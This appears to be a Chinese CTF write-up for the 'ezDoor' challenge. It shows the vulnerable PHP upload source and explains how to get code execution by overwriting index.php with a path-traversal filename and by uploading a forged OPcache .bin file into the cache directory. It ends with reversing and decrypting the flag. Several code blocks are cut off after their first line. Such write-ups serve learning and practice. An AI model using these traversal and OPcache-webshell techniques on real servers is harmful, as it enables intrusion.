前言
这次比赛真真感受到了差距,,,这场CTF就是大佬的竞赛场。。。。
ezDoor
源码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75<?php
error_reporting(0);
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
if(!file_exists($dir . "index.php")){
touch($dir . "index.php");
}
function clear($dir)
{
if(!is_dir($dir)){
unlink($dir);
return;
}
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}
rmdir($dir);
}
switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt");
break;
case 'reset':
clear($dir);
break;
case 'time':
echo time();
break;
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break;
}
if ($_FILES['file']['size'] > 100000) {
clear($dir);
break;
}
$name = $dir . $_GET["name"];
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
break;
}
move_uploaded_file($_FILES['file']['tmp_name'], $name);
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
$size += filesize($dir . $file);
}
if ($size > 100000) {
clear($dir);
}
break;
case 'shell':
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}
这道题的目的很明显,就是替换掉$dir
下的"index.php"
,使得在文件包含的时候执行我们的代码,但在比赛过程中却没能找到突破点,后来看writeup才知道OPcache
的知识点。见识限制了我的flag。。。。
PPS:这道题的覆盖方法又从大佬的博客中学到了一招,我们把上传的名字改成:
name=x/../index.php/.
,然后上传,即可覆盖掉原有的index.php
。
1 | <?phpecho "23333";?> |
下面是正常解:
所以这道题的考点就是利用OPcache
缓存cache去get shell
。关于Opcache
的简单介绍如下:
Opcache是一种通过将解析的PHP脚本预编译的字节码存放在共享内存中来避免每次加载和解析PHP脚本的开销,解析器可以直接从共享内存读取已经缓存的字节码,从而大大提高PHP的执行效率。
当服务器开启OPcache
的时候会把正常访问过的文件进行生成缓存文件,然后放到指定的缓存目录下。例如:
假设缓存根目录为:/tmp/cache
;你访问的文件为:/var/www/html/index.php
;那么就会生成:/tmp/cache/[system_id]/var/www/html/index.php.bin
。如果以后再访问index.php
就会从/tmp/cache/[system_id]/var/www/html/index.php.bin
文件中读取数据。
而这里的
system_id
依照以下规则生成:1 | import hashlib |
所以我们的目的
就转换成上传opcache
缓存文件到指定的目录下。
我们先本地搭建一个跟服务器类似
的环境,我们修改php7
的配置文件如下:1
2
3
4opcache.enable=1
opcache.validate_timestamps=1
opcache.file_cache= "/var/www/html/cache"
opcache.file_cache_only=1
这里的缓存文件目录可以跟题目给出的/tmp/cache
不同,而且在本地搭建的时候发现如果改成/tmp/cache
,apache就启动失败。。
首先我们先得到服务器上的地址,然后本地生成相同的目录文件,并在index.php
中写入你想执行的语句。
然后访问这个文件生成缓存文件。
接着我们修改一下这个文件,使它符合题目的要求。修改如下,system_id可以通过上述脚本生成,时间通过如下脚本生成:
1 | import requests |
注意需要将时间转成16进制
,最终结果:
我们上传的目标地址是:
1 | ../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/9549f3458b234bf288beb2cbc30bef119e5f3a91/index.php.bin |
在本地写个上传脚本:1
2
3
4
5
6
7<form target="_blank" action="http://202.120.7.217:9527/?action=upload&name=../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/9549f3458b234bf288beb2cbc30bef119e5f3a91/index.php.bin" method="post" enctype="multipart/form-data">
<h2><br>文件上传<br></h2>
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
上传,访问,然后会发现一片空白。。。。这也是我疑惑的地方,后来认真看其他的writeup才知道后台过滤了一些函数。
能用的payload为:
1 | <?php |
我们再进行上面的操作,发现确实可行,我们可以发现一个文件。
读取文件内容。
1 | <?php |
再次上传,访问。
可以得到一堆乱码的内容,但可以看出还是
opcache
生成的缓存文件,我们尝试恢复一下。1 | import requests |
在对比正常的文件后发现缺少了个00
字节,所以给补上。
使用工具将
flag.bin
还原成汇编,地址:Github。1 | root@kali:~/php7-opcache-override/analysis_tools# ./opcache_disassembler.py -c -a64 flag.bin |
接下来就是逆向
了。另外一种查看opcache
代码的工具就是VLD插件
。
由于逆向
没有经验,所以直接放出dalao的结果:1
2
3
4
5
6
7
8
9
10
11
12
13def encode(data):
return output.encode('hex')
def encrypt(flag,strings):
mt_srand(1337)
output = ""
for i in range(len(flag)):
output += chr(ord(flag[i])^ord(strings[i])^mt_rand(0,255))
return encode(output)
flag = raw_input('input_your_flag_here')
if encrypt(flag,this_is_a_very_secret_key)==="85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab":
print 'Congratulation! You got it!'
else:
'Wrong Answer'
解密脚本:1
2
3
4
5
6
7
8
9
10data = [151,189,92,232,167,217,167,90,114,82,84,72,9,134,182,90,23,152,129,27,93,6,22,114,194,105,104,203,65,60,215,147,238,81,111,91,179,57,195,148,8,72,61,71,122,91,137,196,223,225,76,134,196,244,114]
opt = "85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab".decode("hex")
data2 = "this_is_a_very_secret_key"
flag = ""
for i in range(len(opt)):
flag += chr(data[i]^ord(opt[i])^ord(data2[i%len(data2)]))
print flag
最后得到flag:flag{0pc4che_b4ckd00r_is_4_g0o6_ide4}
。
总结
这道题是没有
一点花花肠子的,源码、目的都非常明确
,自己在做题的过程中也在不断的google,包括扩展名绕过、linux是不是有什么文件覆盖的新套路等等,但都没有正确的get
到出题人的意思,归根结底还是自己的基础知识太过薄弱,,还有就是信息搜索的能力不够强大,当时还真有念头把phpinfo
的每个模块都拿出来google一下,但结果却没有执行。以后一定得注意对phpinfo
的内容进行深入挖掘
!
参考链接:
https://www.bertramc.cn/2018/04/02/53.html
https://github.com/GoSecure/php7-opcache-override
http://gosecure.net/2016/04/27/binary-webshell-through-opcache-in-php-7/